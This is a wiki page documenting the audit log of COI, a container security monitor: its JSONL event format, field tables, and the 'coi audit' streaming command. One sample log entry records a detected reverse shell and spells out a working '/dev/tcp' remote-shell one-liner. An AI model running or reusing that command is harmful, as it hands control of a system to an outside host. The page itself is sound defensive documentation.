Skip to content

Audit Log

Maciej Mensfeld edited this page Jun 17, 2026 · 1 revision

Audit Log

COI records security events to a structured, host-side audit log (JSON Lines), and exposes them live with the coi audit command. The log is the forensic record of what the security monitor saw during a session — it lives on the host, persists after the container is gone, and is queryable with standard tools (jq, grep).

For the detection engine that produces these events (threat levels, automated pause/kill, nftables monitoring), see Security Monitoring.

On-disk audit logs

All security events are logged to ~/.coi/audit/<container-name>.jsonl:

{"timestamp":"2026-02-18T10:23:45Z","container":"coi-abc123-1","type":"process","threat":"reverse_shell","command":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1","severity":"critical","action":"killed"}
{"timestamp":"2026-02-18T10:24:01Z","container":"coi-abc123-1","type":"filesystem","threat":"large_write","bytes":104857600,"severity":"high","action":"paused"}
{"timestamp":"2026-02-18T10:25:30Z","container":"coi-abc123-1","type":"network","threat":"private_network","dest":"192.168.1.100:22","severity":"warning","action":"logged"}

Network events from nftables are logged separately to ~/.coi/audit/<container-name>-nft.jsonl.

Audit Log Field Reference

Every JSONL event contains these common fields:

Field Type Description
timestamp string ISO 8601 UTC timestamp of the event
container string Container name (e.g., coi-abc123-1)
type string Event category: process, filesystem, or network
threat string Threat identifier (see the tables in Security Monitoring for values)
severity string info, warning, high, or critical
action string Response taken: logged, alerted, paused, or killed

Type-specific fields:

Field Present when Description
command type = "process" Full command string of the suspicious process
pid type = "process" Process ID
bytes type = "filesystem" Bytes read or written that triggered the threshold
path type = "filesystem" File path involved (when available)
dest type = "network" Destination address and port (e.g., 192.168.1.100:22)
proto type = "network" Protocol: tcp or udp

NFT network events (written to <container-name>-nft.jsonl) additionally include:

Field Description
src Source IP:port inside the container
rule The nftables rule that matched
iif Inbound interface
oif Outbound interface

View audit logs:

# Real-time monitoring dashboard (auto-detects container from current workspace)
coi monitor

# Or specify a container explicitly
coi monitor coi-abc123-1

# Specify workspace path for auto-detection
coi monitor --workspace /path/to/project

# Review historical events
cat ~/.coi/audit/coi-abc123-1.jsonl

# Filter by severity
cat ~/.coi/audit/coi-abc123-1.jsonl | grep '"level":"high"'
cat ~/.coi/audit/coi-abc123-1.jsonl | grep '"level":"critical"'

coi audit — Live Threat-Event Streaming

coi audit exposes the audit stream as JSON Lines on stdout, ready to pipe into a SIEM, jq, or a flat file.

Basic Usage

# Dump the host-side audit log for the container in the current workspace
coi audit

# Dump the host-side audit log for a specific container
coi audit coi-abc123-1

# Stream live events from the running container (in-container collector)
coi audit coi-abc123-1 --follow

# Re-stream a saved recording from a custom path
coi audit --file ./session.jsonl

Two Operating Modes

Dump mode (default, no --follow): reads ~/.coi/audit/<container>.jsonl written by the security monitoring daemon and prints it to stdout. Use this to review historical events after a session ends.

Follow mode (--follow): pushes a small POSIX-sh collector into the running container via incus exec and streams live events as they happen. No daemon is installed — the collector exits when coi audit is interrupted. Requires the container to be running.

Event Format

All events are JSON Lines (one object per line). The type field identifies the event source:

type Source Key fields
exec ps diff every 2 s pid, ppid, comm, args
net ss -tunp diff every 5 s proto, state, local, peer, pid, comm
file auditd PATH records path, op, pid, comm
audit auditd / syslog / auth.log msg, raw
heartbeat Emitted every 10 s seq, sources

Every event also carries:

Field Description
ts ISO 8601 UTC timestamp with millisecond precision
sessionId Container name (set by the host-side collector)
container Container name

Fields are sparse-populated with omitempty — only relevant fields appear for each event type.

Example output:

{"ts":"2026-05-05T14:30:11.123Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"exec","pid":1234,"ppid":1,"comm":"curl","args":"curl https://example.com"}
{"ts":"2026-05-05T14:30:12.005Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"net","proto":"tcp","state":"ESTAB","local":"10.47.62.5:54321","peer":"93.184.216.34:443","comm":"curl"}
{"ts":"2026-05-05T14:30:20.000Z","sessionId":"coi-abc123-1","container":"coi-abc123-1","type":"heartbeat","seq":1,"sources":"ss ps"}

Event Sources (in priority order)

When --follow is active, the in-container collector tries sources in order:

  1. auditd — tails /var/log/audit/audit.log if auditd is running; PATH records → type=file, EXECVE/SYSCALL records → type=audit
  2. syslog / auth.log — fallback when auditd is absent; all lines become type=audit events
  3. ss snapshotsss -tunp every 5 s; only new connections (diff against previous snapshot) become type=net events
  4. ps snapshotsps every 2 s; only new PIDs (diff) become type=exec events
  5. heartbeat — a type=heartbeat event every 10 s so the host can detect if the agent dies

The sources field of each heartbeat lists which sources are active (e.g. "ss ps" when auditd is absent).

Heartbeat Liveness Detection

The host-side watcher monitors agent liveness:

  • Stale threshold: 35 s (≈3 missed heartbeats + 5 s grace)
  • When stale: a warning is printed to stderr and a synthetic type=audit msg=agent.stale event is injected into the stream so downstream consumers see it
  • When recovered: an msg=agent.alive event is emitted
[audit] WARNING agent silent on coi-abc123-1 for 36s (last heartbeat 2026-05-05T12:34:46Z)
[audit] agent recovered on coi-abc123-1 after 36s of silence

Filtering and Piping

# Show only network connections
coi audit coi-abc123-1 --follow | jq -c 'select(.type=="net")'

# Show only new processes
coi audit coi-abc123-1 --follow | jq -c 'select(.type=="exec")'

# Save a full session recording
coi audit coi-abc123-1 --follow > ~/recordings/session-$(date +%Y%m%d).jsonl

# Replay a saved recording
coi audit --file ~/recordings/session-20260505.jsonl | jq '.type' | sort | uniq -c

# Count events by type from a live session
coi audit coi-abc123-1 --follow | jq -r '.type' | sort | uniq -c

Tuning the In-Container Agent

The collector intervals can be adjusted via environment variables before launching coi audit:

Variable Default Effect
COI_AUDIT_NET_INTERVAL 5 Seconds between ss snapshots
COI_AUDIT_PROC_INTERVAL 2 Seconds between ps snapshots
COI_AUDIT_HEARTBEAT_INTERVAL 10 Seconds between heartbeat events
# Higher-resolution process tracking (1 s intervals)
COI_AUDIT_PROC_INTERVAL=1 coi audit coi-abc123-1 --follow

Resource Overhead

The in-container collector has negligible overhead: ~4.5 MB RSS and ~0.0% CPU when idle. No eBPF, no daemon install, no new Go dependencies. The collector only runs while coi audit --follow is active and terminates immediately on Ctrl+C.


See Also

Clone this wiki locally